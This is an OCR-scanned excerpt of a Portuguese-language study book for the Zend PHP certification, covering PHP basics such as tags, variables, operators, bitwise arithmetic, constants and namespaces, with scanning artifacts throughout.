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PREFACIO

A certificagdo na carreira de um profissional de TI (Tecnologia
da Informagao) é muito valiosa. Ela é capaz de colocar o profissional
que a possui na frente de muitos no mercado de trabalho, tornando
a busca para uma nova oportunidade ou recoloca¢ao muito mais
rapida. As vantagens ndo param por ai: ter uma certificagio é um
bom argumento para ter um aumento na remuneracao, e dar aquela
valorizada na hora de fazer o seu preco.

Mas, infelizmente, atualmente ndo temos uma grande
porcentagem de profissionais certificados, e o problema s6 se agrava
quando falamos de PHP. De acordo com o site oficial da Zend, que
possui a lista de todos os certificados PHP, temos hoje (no
momento de escrita deste livro) apenas 438 pessoas certificadas no
Brasil. Se levarmos em consideragao que PHP ¢ uma das linguagens
mais utilizadas para desenvolvimento web e muito popular entre os

desenvolvedores, esse nimero é muito pequeno.

Publico-alvo

Este livro se destina especialmente as pessoas que usam a
linguagem de programagdo PHP para desenvolver seus projetos,
sejam eles profissionais ou pessoais, e que queiram aperfeicoar seu
uso ao conhecer cada detalhe.

Pré-requisitos

Esperamos que vocé, caro leitor, tenha pelo menos o minimo de
entendimento de como o PHP funciona. Apesar de dedicarmos um
capitulo inteiro sobre os basico de PHP, ndo explicamos a fundo
coisas simples, sobre como o PHP se mescla com HTML ou como
podemos interagir com formuldrios, mas focamos em coisas basicas



relacionadas especificamente a certificagao.
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INTRODUCAO

Tirar uma certificagdo sem duvida é um dos objetivos da
maioria dos profissionais de TI, seja uma certificagdo técnica (como
as de programagio e redes) ou para gestores, como ITIL e COBIT.
Uma das caracteristicas mais fortes da certificagdo é o seu valor, que
agrega muito para o curriculo de quem a possui.

7

Uma coisa interessante sobre certificagbes é que ndo ¢é
necessario ter uma idade minima, o que na minha opiniao as torna
tdo importantes quanto um diploma de faculdade. Pois nao ha idade
para quem busca o conhecimento, certo?

Neste livro, vamos focar na certificagio PHP, que é conhecida
entre os profissionais da drea, mas infelizmente nido ¢ muito
divulgada. Apesar dos esforcos da Zend para cada vez mais expandir
o numero de pessoas certificadas na linguagem, ainda falta muito
para se alcancar o ideal. Hoje, no Brasil, sdo apenas pouco mais de
400 certificados PHP (vocé pode fazer a consulta em
http://www.zend.com/en/services/certification/zend-certified-

engineer-directory).

E para piorar esse cendrio, muito do conteudo que é necessario
estudar esta apenas em inglés. Existe muito contetdo na internet,
isso é verdade; mas é um conteudo disperso, é preciso ir minerando
e tentar achar o que realmente importa. Com este livro, esperamos
mudar isso, dando a vocé uma visdao geral do que é possivel cair na
prova de certificacio PHP e, ¢é claro, tentar aumentar a
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disseminagdo do contetido para a comunidade. Se por um lado
queremos facilitar o conteido em portugués, ndio podemos negar
que toda a prova da certificagio PHP ¢é realizada em inglés, entio
uma dica que deixamos aqui € que, apesar de todo o material estar
em portugués, ndo deixe de estudar a lingua inglesa.

Nao é possivel expor a vocé todos os detalhes que podem cair na
prova de certificagdo, entdo, o que tentamos fazer neste livro ¢
reunir o maximo de conteido necessario e que realmente importa
para que voceé se prepare de uma maneira eficiente. Vamos abordar
todos os topicos que caem na prova, mas é muito dificil dizer o que
vocé podera encontrar nela, pois sdo no total 70 questdes geradas
aleatoriamente pelo sistema dentre as seguintes categorias:

e O basico do PHP

o Funcoes

e Datas e tipos

o Caracteristicas web

e Programagdo orientada a objetos

e Seguran¢a

e [/O (Entrada e saida)

e Strings & Padroes

 Banco de dados & SQL (Structured Query Language)
o Arrays

Como siao diversos assuntos e muita coisa a se mostrar, ao
decorrer do livro, mostraremos fontes e o caminho para que vocé se
aprofunde em determinado assunto.

Além de todo o contetido sobre a prova em si, também damos
dicas de como estudar e como marcar a sua prova. Quem aplica a
prova é a Person Vue (https://home.pearsonvue.com/), e é através
do seu website que podemos agendd-la e visualizar os centros
autorizados para sua aplicagdo. Nédo se preocupe, pois explicaremos
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mais detalhes ao final do livro.
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ENTENDENDO O BASICO
DO PHP

Quando procuramos tutoriais sobre coisas basicas da linguagem
PHP, geralmente nos deparamos com questoes simples de sintaxe,
como por exemplo, a tag <?php . Esses tutoriais nos mostram como
utilizd-la e para que ela serve (sabemos que o codigo PHP sera
interpretado apenas se existir uma tag <?php , certo?). Entretanto,
0 que muitos tutoriais ndo mencionam sdo as possiveis tags que
podemos usar. Veja os exemplos:

e <?
e <?php
e <script language="php”></script>

Como podemos ver, existem trés tipos de variagoes da tag que
utilizamos em PHP. A seguir, analisamos uma a uma para entender
melhor em qual contexto devemos usar cada uma delas.

A primeira tag que podemos usar é a <? . Devemos ficar atentos
ao utilizar essa tag de abertura, pois ela requer uma configuragiao no
seu php.ini para que funcione. A op¢do short_open_tag deve
ser configurada para on . E necessirio ter a opgio

short_open_tag ativa para utilizarmos a sintaxe <?=’"Hello
World!’ .

4 2 ENTENDENDO O BASICO DO PHP



; This directive determines whether or not PHP will recognize code between

; <? and ?> tags as PHP source which should be processed as such. It is

; generally recommended that <?php and ?> should be used and that this feature
; should be disabled, as enabling it may result in issues when generating XML

; documents, however this remains supported for backward compatibility reasons.
; Note that this directive does not control the <?= shorthand tag, which can be
; used regardless of this directive.

; Default Value: On

; Development Value: Off

; Production Value: Off

; http://php.net/short-open-tag

short open tag = Off

; Allow ASP-style <% %= tags.
; http://php.net/asp-tags
asp tags = Off

Figura 2.1: Configuragdes no php.ini para habilitar caracteristicas da linguagem

A partir do PHP 5.4.0, ndo é necessario habilitar a opgao
short_open_tag , pois foi realizada uma modifica¢ao no core
do PHP para esse tipo de sintaxe estar sempre disponivel.

A tag padrao do PHP é a <?php . Para usa-la, ndo é necessario
nenhum tipo de configuragio extra, e é recomendavel que sempre se
utilize essa forma nos seus arquivos PHP, pois é a que possui
compatibilidade com todas as versdes (anteriores a 5.5 e, muito
provavelmente, as futuras).

Por ultimo, temos uma notagdo bem diferente do comum, que
se parece com uma notagdo JavaScript quando queremos usar
JavaScript dentro das paginas HTML. Nao muito diferente disso,
essa notacdo do PHP tem o mesmo intuito do que a do JavaScript,
ou seja, a de executar codigos PHP. Infelizmente (ou felizmente),
esse tipo de sintaxe ndo é muito comum, porém ¢é possivel utiliza-la
livremente até a versdao 5.6.x do PHP. Na versao 7.0.0, esse tipo de
sintaxe serd removido. Se vocé deseja ter uma dificuldade a menos
para migrar para o PHP 7.0.0, considere ndo usar esse tipo de
sintaxe. Neste livro, usaremos a versao 5.5.
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2.1 O PROBLEMA DAS TAGS PHP

Para evitar problemas com multiplos arquivos, é recomendavel
que ndo se use a tag de fechamento ?> . Veja o exemplo:

<?php

// Arquivo usuario.php

echo '0la usuario, vocé deseja mandar um e-mail ?';
?> // Espago em branco

Temos um arquivo chamado usuario.php em que sem querer
deixamos um espago em branco apds o fechamento da tag PHP.
Para deixar claro, vamos utilizar um outro arquivo chamado

email.php onde iremos utilizar a fungdo header() para

redirecionar o usudrio:
<?php

// Arquivo email.php
require 'usuario.php';

header('Location: usuario.php');
exit();
?>
Ao executar esse codigo, vamos visualizar a mensagem de erro:
Warning: Cannot modify header information - headers
already sent , e nao teremos o resultado esperado, que era
redirecionar o usuario.

Isso ocorre pois esquecemos um espago em branco apds a tag de
fechamento do PHP. Embora isso possa ocorrer tanto antes da tag
de abertura do PHP quanto na de fechamento, é uma boa pratica
evitar a tag de fechamento para prevenir conflitos com fung¢des do
PHP que utilizam HTTP headers como header (que usamos em

nosso exemplo), session_start e setcookie .
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Nesse exemplo, usei um espacgo para ilustrar a dificuldade que
seria encontrar esse tipo de problema, porém pode ocorrer com
qualquer saida (HTML, imagens etc.) que seja enviada antes dos
cabecalhos HTTP.

Para garantir que ndo passe por nenhum problema parecido,
basta omitir as tags de fechamento, como mostram os mesmos
exemplos utilizados anteriormente, mas agora de uma maneira mais
elegante e livre de problemas.

<?php

// Arquivo usuario.php

echo '0la usuario, vocé deseja mandar um e-mail ?';
E, claro, o nosso arquivo email.php :

<?php

// Arquivo email.php

require 'usuario.php';

header('Location: usuario.php');
exit();

2.2 VARIAVEIS

PHP ¢é uma linguagem de programa¢ao ndo tipada (ou, se
preferir, fracamente tipada), e que nos permite armazenar qualquer
tipo de valor, sendo ele escalar, composto ou especial, sem declarar
seu tipo dentro da varidvel. Além disso, é possivel também
inicializar a variavel com um valor do tipo booleano, e alterar seu
valor para um tipo numérico. Porém, devemos nos atentar a
nomenclatura das variaveis ao utiliza-las.

1. Toda e qualquer variavel no PHP deve comegar com $ ;
2. Apds o sinal de $ , deve ser seguido por uma letra e nao
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numero;
3. Toda e qualquer variavel no PHP pode possuir underscores,
numeros e letras.

$a ='';, // valido
$123abc = ''; // Invalido
$_a =''; // valido
Escalar Composto Especial
boolean array resource
integer objects null
float - -

escalar - -

A tabela nos mostra os tipos oficiais de variaveis em PHP. Vocé
pode conferir a mesma classificagdo na documentagio oficial
da linguagem, em
http://php.net/manual/pt_BR/language.types.intro.php.

Variaveis de valor

Assim como C, o PHP possui dois tipos de passagem de
variaveis por valor e por referéncia. Passagem de parametros por
valor ¢ o padrdo, pois ndo precisamos utilizar nenhuma notagdo
especial. O que muda é a passagem de parametros por referéncia,
pois devemos usar 0 & para sinalizar que realmente queremos
passar aquela varidvel como referéncia, e ndo uma cépia. A unica
ressalva aqui é com objetos; em PHP, um objeto sempre serd
passado por referéncia.

$a = 10;
$b = $a;
$b = 20;
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echo $a; // 10
echo $b; // 20

Agora temos salvo em $b o valor da varidvel $a . Se
alterarmos qualquer valor em $b , ele nio afetard o valor da

varidvel $a .

Variaveis por referéncia

Agora vamos utilizar o mesmo exemplo, porém alterando a
variavel $a por referéncia. Em PHP, para usar a passagem por
referéncia, é necessario utilizar o caractere & .

$a = 'Por valor';
$b = &$a; // Criando a referéncia para $a
$a = 'E agora ?';

print $a; // E agora ?
print $b; // E agora ?

Ao contrério da passagem por valor, a passagem por referéncia é
exatamente o que seu nome ja diz: é apenas uma referéncia para a
varidvel de onde ela realmente foi definida. Em nosso exemplo, a
varidavel $b é apenas uma referéncia para a variavel $a , e por ela
ser apenas uma referéncia alterando seu valor, o valor da variavel

$a sera também alterado.

2.3 CAIXA ALTA OU CAIXA BAIXA?

Vocé ja parou para pensar no que acontece se escrevermos o
nome de uma fun¢ao com letras maiusculas? Ou quem sabe de uma
palavra reservada da linguagem como class ?

Vamos a um exemplo utilizando o construtor empty que
escrevemos em caixa baixa, mas aqui vamos escrever em caixa alta.
Antes de prosseguir, tente arriscar um palpite: sera que funciona?
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$a = 0;

if (EMPTY($a)) {
print '0l4, eu estou vazio';

}

Pois é em PHP ndo ocorre erro e a sintaxe é perfeitamente
valida, vamos a mais um exemplo agora utilizando uma palavra
reservada como class :

CLASS Cachorro {

public function latir() {

print 'au au au!';

3
3

$pastorAlemao = new Cachorro();
$pastorAlemao->latir();

E mais uma vez, a sintaxe é valida. Lembrando apenas de que
isso ndo é recomendavel usar para ndo causar confusoes (e esse tipo
de utilizagdo vai contra as padronizagdes). Essa pegadinha do uso da
caixa baixa ou alta em PHP é muito bem conhecida na prova de
certificacdo, e no proprio material de estudo que a Zend nos fornece
possui esse exemplo.

Apenas fique atento, pois esse tipo de comportamento nao se

aplica a nome de variaveis.

Caso queira saber mais sobre o guia de estudo da Zend, acesse
http://www.zend.com/en/services/certification/php-
certification-study-guide. Também veja as padroniza¢des na
linguagem PHP, em http://www.php-fig.org/.

2.4 CARACTERES ESPECIAIS?
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E muito dificil na vida de um programador ter uma experiéncia
onde as variaveis utilizadas possuam acentuagdo. Mas, em PHP, sera

que é possivel definir uma variavel como $coracéo ?
$coracdo = '0la, eu tenho um $coracédo';
print $coracéo;

O que vocé acha dessa sintaxe? Ela é valida? Sim, ela é vélida.
Podemos definir varidveis com caracteres especiais, tais como ¢ ,
~, A, eassim por diante.

A tnica forma de invalidar a sintaxe de uma varidvel é

utilizando niimeros no come¢o, lembre-se disso.

2.5 STRINGS

Com PHP, podemos utilizar aspas simples ou aspas duplas para

delimitar uma string.

$simples = '0la';
$dupla "ola";

Até o momento, ndo parece ter nenhuma diferenga entre usar
uma e outra, porém, isso se torna explicito quando usamos
variaveis.

$ano = 1993;
print 'Eu nasci em $ano'; // Eu nasci em $ano

Como podemos ver, nao obtemos o resultado esperado: em vez
de "Eu nasci em 1993" é exibido "Eu nasci em $ano". Isso ocorre
porque quando utilizamos aspas simples o PHP nao interpretara
nenhum tipo de variavel e ird considerar qualquer coisa entre as
aspas texto puro.
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$ano = 1993;

print "Eu nasci em $ano"; // Eu nasci em 1993

Agora, como esperado, obtemos o resultado "Eu nasci em
1993" , pois com aspas duplas o PHP interpretara qualquer variavel
que exista na string.

2.6 COMENTARIOS

Comentarios em PHP sio bem parecidos com os de outras
linguagens de programagdo como Java. Podemos dividir os
comentdrios em PHP em duas categorias: comentdrio de maltiplas
linhas ou comentario de uma tnica linha.

// utilizamos essa nog¢do para comentarios de uma linha

Em PHP, podemos utilizar # para realizar comentérios de uma
unica linha. Porém nao ha nenhum diferenga entre usar // ou # ,
isso depende apenas de qual vocé vai adotar para o seu projeto.

# Exemplo de comentario com #

Finalmente, usamos /* para iniciar um comentirio de
multiplas linhas, e */ para finalizar o bloco do comentério.
/ﬂ
Esse comentario
utiliza maltiplas
linhas
*/

2.7 OPERADORES ARITMETICOS

PHP suporta as quatro operagdes aritméticas basicas. E temos
também o operador médulo, que podemos utilizar para obter o
resto de uma divisao.

e + (Soma)
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$soma = 10 + 10; // 20

- (Subtragio)
$subtracao = 5 - 10; // -5

/ (Divisio)

$divisao =10 / 2; // 5

* (Multiplicagdo)

$multiplicacao = 10 * 10; // 100

% (Modulo)

$modulo = 10 % 2; // ©

E para cada operador aritmético, podemos usa-los com a sintaxe
mais enxuta. Em inglés, chamamos de short forms.

Para utilizar short forms, tenha certeza de que a varidvel foi
declarada anteriormente para ser utilizada; caso contrdrio, um
NOTICE sera exibido e o valor serd atribuido normalmente. Veja o
codigo:

$soma += 10;
print $soma;

Repare que ndo definimos a varidvel $soma e ja tentamos
automaticamente somar o valor 10 a ela. Veja a seguir o NOTICE
gerado pelo cédigo anterior.

PHP Notice: Undefined variable: soma in /zce/forma_enxuta.php on
line 3

PHP Stack trace:
PHP 1. {main}() /zce/forma_enxuta.php:0

Notice: Undefined variable: soma in /zce/forma_enxuta.php on line ¢

10
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Porém, o valor 10 é atribuido normalmente a variavel (repare no
valor 10 no final do NOTICE exibido), e todos os exemplos adiante
possuem esse comportamento.

e + (Soma)

$soma += 10;

- (Subtragio)

$subtracao -= 10;

/ (Divisido)

$divisao /= 2;

* (Multiplicagdo)
$multiplicacao *= 10;

% (Modulo)

$modulo %= 2;

2.8 OPERADORES DE ATRIBUICAO

PHP possui uma série de operadores de atribuigdo, como por
exemplo, = que utilizamos para atribuir um valor a uma variavel.

$a = 'ZCPE';

Para atribuir um valor a um indice em um array com PHP,
usamos o operador => .
$a = [
0 =>1,

1= 2
1

2.9 COMPARACOES
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Como ja sabemos que PHP ndo ¢ um linguagem tipada,
devemos nos preocupar ao compararmos valores.

$a = 0;
$b = '0';

if ($a == $b) {
print 'S&o iguais!';
3
Ao executarmos esse co6digo, obtemos a resposta "Sao iguais!",
pois com um sinal igual duplo, o PHP compara apenas o valor. Ou
seja, aqui comparamos apenas 0 da varidvel $a com 0 da
varidvel $b .

$a = 0;
$b = '0';

if ($a === $b) {
print 'S&8o iguais!';
}

Agora, com sinais de igual triplo, temos um comportamento
diferente, e ao executar o script anterior ndo obtemos resposta
alguma. Com esse tipo de sintaxe, o PHP vai verificar, além do valor
das variaveis (que nesse caso sdo iguais), também o seu tipo, que
nesse exemplo sao diferentes, pois a variavel $a ¢ um inteiro e a
$b uma string.

Esse tipo de comportamento durante a prova de certificagao
deve estar bem claro na sua cabega, pois existem perguntas
pegadinhas para verificar se vocé realmente entende como
PHP compara valores.

Como regra basica, apenas entenda que, com sinal igual duplo,
PHP comparara apenas valor, e com sinal igual triplo,
comparara valor e tipo.
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2.10 OPERADORES BITWISE

Na minha experiéncia com PHP, tive muito pouco contato com
operadores bitwise no dia a dia, porém, para a prova de certificagio,
é extremamente importante fixar bem os conceitos apresentados
aqui. Operadores bitwise operam em nivel bindrio, movendo os bits
para obter um resultado.

Podemos trabalhar com diversos operadores para efetuar
operagoes bitwise, como: AND, OR, XOR, LEFT SHIFT e RIGHT
SHIFT.

e & —AND (ouE)
e | —OR(ouOU)
e A —XOR

<< — LEFT SHIFT

e \>> — RIGHT SHIFT

Todos os operadores bitwise possuem seus correspondentes de
uma forma enxuta também:

e & - AND (ouE)
¢ |= -OR(ouOU)
¢ A= —XOR

<<= — LEFT SHIFT

e \>>= - RIGHT SHIFT

Vamos comegar pela parte mais trabalhosa do operador bitwise,
que envolve alguns calculos matematicos — nada muito dificil,
apenas operagdes de multiplicacio, divisdo e subtragdo. O primeiro
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operador que veremos é o operador que move os bits para a
esquerda ( << ). Essa ¢ a defini¢ao oficial do PHP para o operador:
"Desloca os bits de $a $b passos para a esquerda (cada passo significa
‘multiplica por dois’)". O que isso significa para nés? Vamos ver
passo a passo como chegar no resultado.

Movendo bits a esquerda <<
print (7 << 9);

Resolver essa equa¢io é bem simples. A primeira coisa que
devemos fazer é aplicar a seguinte féormula: bit a esquerda * 2
A bit a direita . Multiplicar por dois, lembra-se?

7*2n09

E a primeira coisa que devemos fazer é resolver o lado direito da
equagdo utilizando o bit a direita. Veja:

2NQ =2 *2*2*2%*2*2*2*2%*2=512

Agora ficou facil. Com o resultado 512, vamos multiplica-lo
pelo bit a esquerda

7 * 512 = 3584

E o0 nosso resultado final ¢ 3584.

Recomendo que troque os bits e teste a formula em um pedago
de papel a parte, conferindo o resultado em algum interpretador
PHP. Eu, particularmente, utilizo o
http://sandbox.onlinephpfunctions.com/.

Movendo bits a direita >>

Mover bits a direita é praticamente igual a movermos a
esquerda. Vamos ver o que a documentagdo oficial do PHP define:
"Desloca os bits de $a $b passos para a direita (cada passo significa
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divide por dois’)". Na pratica, vamos utilizar a mesma equagdo que
usamos para mover os bits a esquerda, porém, em vez de
multiplicarmos, dividiremos.

print (4 >> 6)

7

Essa etapa é muito importante, pois é onde diferenciamos o
operador da esquerda para o operador da direita. Aqui vamos
dividir por 2, e ndo multiplicar.

4/2n6

Resolvemos o lado da direita da equagdo:
2A6=2*2%*2%*2%*2*2=64

E dividimos o valor pelo bit a esquerda:
64 / 4 = **0,0625**

Como estamos falando de bits e obtivemos um valor quebrado,
levamos em consideragdo apenas o resultado do lado esquerdo do
resultado. Nesse caso, o nosso resultado final é 0, e ndo 0,0625.

Operador de negagio ~

A parte mais facil de se entender operadores bitwise ¢ utilizando
o sinal de negacdo: ~. A documentagéo oficial do PHP define como
devemos interpretar esse sinal: "Os bits que estdo ativos em $a ndo
sdo ativados, e vice-versa”. Porém essa definicdo é bem confusa e
dificil de entender, entdo primeiro vamos entender a férmula para
resolver ~7 .

~X = -x - 1.

Agora a conta fica muito mais facil: trocamos os valores de x
pelos valores de 7, e obtivemos o resultado -8.

print (~7);
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Utilizamos pura matemadtica para resolver esse problema.
Tinhamos -7 e, depois desses -7, tiramos ainda 1, ou seja, de -7
ticamos devendo -8.

2.11 FACILITANDO A VIDA

Apos toda a parte dificil e conceitual, podemos usar uma técnica
bem bacana para solucionar os nossos problemas de bitwise com a
nossa tabela de bits. Com esse tipo de pensamento, os calculos
matematicos basicamente vdo embora, e vocé s6 precisa entender
como a tabela e os operadores bitwise operam.

A primeira coisa que devemos levar em consideragio é que a
tabela possui uma escala de 1 a 128 bits, e que vamos utilizar 1 para
simbolizar o bit ativado e 0 (zero) para simbolizar o bit desativado.
Para cada tipo de ag¢do que efetuamos, somamos apenas os bits
ativos da tabela. Com todos os bits ativos na tabela, temos 255 bits.

128 64 32 16 8 4 2 1 Resultado

1 1 1 1 1 1 1 1 255

Vamos comecar pelo operador & (AND). Para isso, usaremos a
operagdo bitwise 5 & 2 . De acordo com a documenta¢do do PHP
(http://php.net/manual/pt_BR/language.operators.bitwise.php): “Os
bits que estdo ativos tanto em $a quanto em $b sdo ativados”. No
nosso contexto, isso quer dizer que vamos comparar os bits ativados
do valor 5 com os bits ativados do valor 2.

print (5 & 2);

Variavel 128 64 32 16 8 4 2 1 Resultado
$a 0 0 0 0 0 1 0 1 5
$b 0 0 0 0 0 0 1 0 2
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Podemos ver que, no resultado obtido, temos duas linhas na
tabela correspondentes ao valor 5 e ao valor 2. Porém, nao
possuimos nenhum bit ativo na mesma coluna. Entdo, a operagao

& (AND) para os inteiros 5 e 2 resulta em 0, pois nio existe
nenhum bit ativo em ambos.

Variavel 4 2 1
$a 1 0 1

$b 0 1 0

A mesma técnica utilizada no operador & pode ser usada para
o operador | (OU). A defini¢ao do operador | , de acordo com o
PHP, é: "Os bits que estdo ativos em $a ou em $b sdo ativados”. Ou
seja, devemos nos atentar a essa regra, pois agora devemos levar em
consideracdo bit ativos em ambas as linhas da nossa tabela.

print (5 | 2);

Variavel 128 64 32 16 8 4 2 1 Resultado
$a 0 0 0 0 0 1 0 1 5
$b 0 0 0 0 0 0 1 0 2

Seguindo a nossa tabela, agora vamos levar em consideracao os
bits ativos em ambas as linhas. Temos bits ativos na primeira linha
no bit 4 e no bit 1. Ja na segunda linha, temos ativo apenas um bit,
que é o bit 2. Antes de prosseguir, veja a tabela a seguir e tente
chegar ao resultado.

Variavel 4 2 1
$a 1 0 1

$b 0 1 0

Se vocé conseguiu chegar ao numero 7, estd totalmente correto.
Um detalhe importante aqui é que, mesmo que o bit esteja ativo nas
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duas linhas, é levado em consideragdo Isso fara diferenca quando
utilizarmos o operador XOR , que é o OU exclusivo. Ou seja, o bit
deve estar ativo em apenas uma linha, e nao nas duas.

O ultimo caso em que podemos utilizar a nossa querida tabela é
para a operagdo XOR , o OU exclusivo. Basicamente é a mesma
regra do OR, porém, com XOR, o bit deve ser ativo em apenas em
uma linha da nossa tabela. Assim, utilizando o exemplo anterior,
teriamos o mesmo resultado, pois nas duas linhas nao temos bits
ativos na mesma coluna. Mas vamos utilizar outros bits para

esclarecer a diferenca:
print (3 A 2);

Variavel 4 2 1
$a 0 1 1

$b 0 1 0

Aplicando o operador XOR, temos como resultado 1, pois
ambos os bits estdo ativos no bit 2. Tanto em $a quando em $b, as
duas colunas na tabela estdo ativas e, para o operador XOR, isso é
descartado. S6 devemos levar em consideracdo bits ativos
exclusivamente em uma das varidveis $a ou $b ou, nesse caso,

que estejam exclusivamente ativas em uma das coluna.

A tabela de bits usada facilita bastante na hora de resolver um
problema na prova, e ¢ uma maneira mais rapida também.
Infelizmente, ndo conseguimos utilizar a tabela no operador bitwise
shift, que movimentam os bits para direita ( \>> ) ou para esquerda
( << ), e nem para o operador de negagdo ( ~ ).

Pode nao parecer, mas em PHP estamos em contato com
operadores bitwise a todo o momento. No php.ini , para
definirmos os niveis de erro que desejamos, podemos definir o
famoso error_reporting para nos mostrar todos os erros possiveis.
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Entretanto, ndo queremos que sejam exibidos os E_NOTICE . Para
isso, usamos bitwise. Veja: E_ALL & ~E_NOTICE .

2.12 CONSTRUTORES DE LINGUAGEM

Para a prova de certificagio PHP, a Zend dividiu os construtores

de linguagens em algumas categorias, para facilitar o seu
entendimento.

Construtores de saida

exit() - Utilizado para exibir uma saida e, logo em
seguida, finalizar a execugdo do script.

exit('Livro de certificacdo PHP');

die() - Utilizado para exibir uma saida e, logo em
seguida, finalizar a execugdo do script.

die('Livro de certificacdo PHP');
echo() - Utilizado para exibir uma saida.
echo 'PHP'; // Ou echo ('PHP');

return() - Utilizado para retornar um valor e
finalizar a execugdo do script, ou retornar o valor
desejado para quem estd executando o script.

echo 'Casa do coédigo';
return;
echo 'PHP'; // Essa linha nunca sera executada

Ou a forma mais comum de se utilizar return , dentro
de uma fungao:

function somar() {
return 1 + 1; // Ou return(1 + 1)
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}

echo somar(); // 2
print() - Utilizado para exibir uma saida.

print 'PHP 5.5'; // Ou print('PHP 5.5');

Construtores de avaliagiao

empty() - Utilizado para verificar se uma variavel é
vazia, ou seja, uma variavel sem valor.

eval() - Utilizado para avaliar o conteiido de uma
string em PHP.

include() e include_once - Utilizados para incluir
e avaliar um arquivo PHP, porém utilizando include ,
apenas um aviso (warning) é exibido caso o PHP nio
encontre o arquivo desejado.

require() e require_once() - Utilizados para
incluir e avaliar um arquivo PHP, porém, utilizando
require , ele exibe um erro fatal (fatal error) caso nao
consiga encontrar o arquivo desejado.
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Em PHP, temos diferentes tipos de erros em diferentes niveis.
Os trés mais comuns sdo:

e E_ERROR - Sdo erros fatais que ndo sio possiveis
de recuperar ou continuar a execugdo do script.
Podem ser utilizados pelo PHP quando ha algum
problema de alocagio de memoria, ou até mesmo
pelas proprias fungoes/contrutores, como por
exemplo, 0 require € require_once .

e E_WARNING - Comportamento similar ao
E_ERROR , porém ¢ um tipo de erro que nao
finaliza a execugao do script.

e E_NOTICE - Utilizado para indicar um possivel
erro durante a execucio do script. Geralmente, sio
facilmente encontrados ao tentarmos acessar uma
posigdo do array que ndo existe.

QOutros

e isset() - Utilizado para verificar se uma variavel foi
definida e que ndo possua o valor nulo.

e unset() - Utilizado para remover uma variavel.

e 1list() - Utilizado para assinar um array a um grupo
de variaveis.

2.13 CONSTANTES

Constantes no PHP sdo, por convengio, todas em caixa alta
(mas é perfeitamente valido para o PHP a defini¢do de constantes
em caixa baixa), e seguem a mesma regra de nomenclatura das
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variaveis. Ou seja, constantes ndo podem comegar com numero,
mas podem comegar com underscore.

define('1CONSTANTE', 'valor'); // Invalido
define('_CONSTANTE', 'valor'); // valido
define( 'minhaconstante', 'valor'); // Valido
define( '$CONSTANTE', 'valor'); // Invalido

No dltimo exemplo, é interessante como o PHP se comporta,
pois a defini¢do da constante com o sinal cifrdo é um sintaxe valido
e, portanto, ndo temos nenhum erro exibido. Mas a parte
interessante vem quando tentamos acessar essa constante que, na
verdade, o PHP entendera que tentamos acessar uma varidvel, e nao
uma constante.

Uma outra caracteristica da linguagem PHP sdo as constantes
magicas que sdo acessadas utilizando dois underscores no comego e
no final do nome da constante: \_\_CONSTANTE\_\_ .

e \_\_LINE\_\_ - Informa o ntmero da linha do
arquivo em que ¢é utilizado.

e \_\_FILE\_\_ - O caminho completo do arquivo em
que ¢é utilizado.

e \_\_DIR\_\_ - O diretério em que estd o arquivo.

e \_\_FUNCTION\_\_ - O nome da fungdo.

e \_\_CLASS\_\_ - O nome da classe e, se a classe
estiver dentro de um namespace, ¢ retornado o nome
da classe junto com seus namespace completo. Por
exemplo, se a classe Autenticacao estiver no
namespace Usuario\Seguranca , 0 nome da classe
retornado pela constante magica \_\_CLASS\_\_ serd
Usuario\Seguranca\Autenticacao .

e \_\_TRAIT\_\_ - Possui 0 mesmo comportamento
da constante mdgica \_\_CLASS\_\_, porém devemos
usa-la com traits.

e \_\_METHOD\_\_ - O nome do método da classe
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chamado.
e \_\_NAMESPACE\_\_ - O nome do namespace atual.

2.14 NAMESPACES

Namespaces foram introduzidos no PHP na versio 53.0 e
podem cair na prova de certificagdo. Eles sio uma excelente forma
de se evitar colisdes de nome entre bibliotecas de terceiros que vocé
pode utilizar no seu projeto e o seu codigo.

Quando ndo existiam namespaces, normalmente era facil
encontrar underscores separando o nome da classe para evitar
colisbes e, como consequéncia, os nomes de classes ficavam
absurdamente grandes. O padrio seguido antes do namespace era
sempre o nome do projeto (ou o nome da biblioteca) seguido de um
underscore e o nome da classe de fato.

class Zend_Db_Table {}

class MeuProjeto_Minha_Classe {}

No Zend framework 1, podemos ver claramente esse padrdo
sendo adotado, que na época garantia que, ao se utilizar qualquer
classe seguindo o padrio Zend_*, ndo se colidiria com nenhuma
classe do projeto.

O Zzend_Db_Table foi retirado da documentagdo oficial do
Zend framework 1. Visite http://framework.zend.com/manual/1.12
para maiores informagoes ou exemplos de cédigo sem a utilizagao
de namespaces.

Para utilizarmos namespaces, usamos a palavra reservada
namespace seguida do nome desejado para ele.

<?php
namespace Zce;
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E possivel ainda definir subniveis do namespace dentro de um
unico namespace, utilizando a barra invertida ( \ ).
<?php
namespace Zce\Subnivel;

Para melhor entendimento dos namespaces, podemos pensar
neles como uma estrutura hierdrquica de arquivos:

|-- Zce
| -- Subnivel

Um detalhe que devemos levar em consideragdo é que a
declaragdo do namespace deve ser logo apos a tag de abertura <?
php , e nenhuma outra fungdo pode ser executada antes disso. Isso
torna o exemplo a seguir invalido, pois a declaragao do namespace
deve ser a primeira expressao a ser usada.

<?php
require 'MinhaClasse.php';

namespace Zce\Exemplo;

Por convengdo, utilizamos namespaces com o padrido camel
case, porém é totalmente valido utilizar namespaces sem essa
convengao. As regras para a nomenclatura de namespaces seguem o
mesmo principio das variaveis.
<?php
namespace zce; // Véalido
namespace 1zce; // Invalido
namespace _zce_; // Valido

O interessante de se usar namespaces ¢ que ¢ possivel declarar
mais de um namespace por arquivo. Apesar de nao ser uma boa
pratica, é valido utilizar essa sintaxe.

<?php
namespace Zce\Namespacel;

class Hello {}
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namespace Zce\Namespace2;
class Hello {}

Para amenizar a confusdo entre varios namespaces em um Unico
arquivo, podemos usar colchetes para encapsular todo o cédigo de
um namespace.

namespace Zce\Namespacel {

class Hello {}

namespace Zce\Namespace2 {

class Hello {}

Vocé ja pode imaginar por que motivo nao é recomendavel
utilizar varios namespaces em um unico arquivo, certo? Usando
isso, a manutengdo, a leitura e o entendimento do cédigo ficam
prejudicados. Uma boa pratica é utilizar apenas um namespace por
arquivo.

Para usar namespaces, utilizamos a palavra reservada use
seguido do namespace desejado.

<?php
require 'Zce.php';

use Zce\Subnivel;

Ao usarmos namspaces, precisamos nos atentar quando
utilizamos classes globais, como por exemplo, PDO (PHP Data
Object). Primeiramente, o PHP procurara pela classe desejada no
namespace atual. Vamos imaginar o seguinte cenario: criaremos
uma classe de conexdo ao banco de dados utilizando o PDO dentro
do namespace Zce\Db .

<?php
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namespace Zce;

class Conexao
{
public function getConexao()
{
$dsn 'mysql:dbname=zce;host=localhost’;
$usuario = 'usuario';
$senha = 123456;

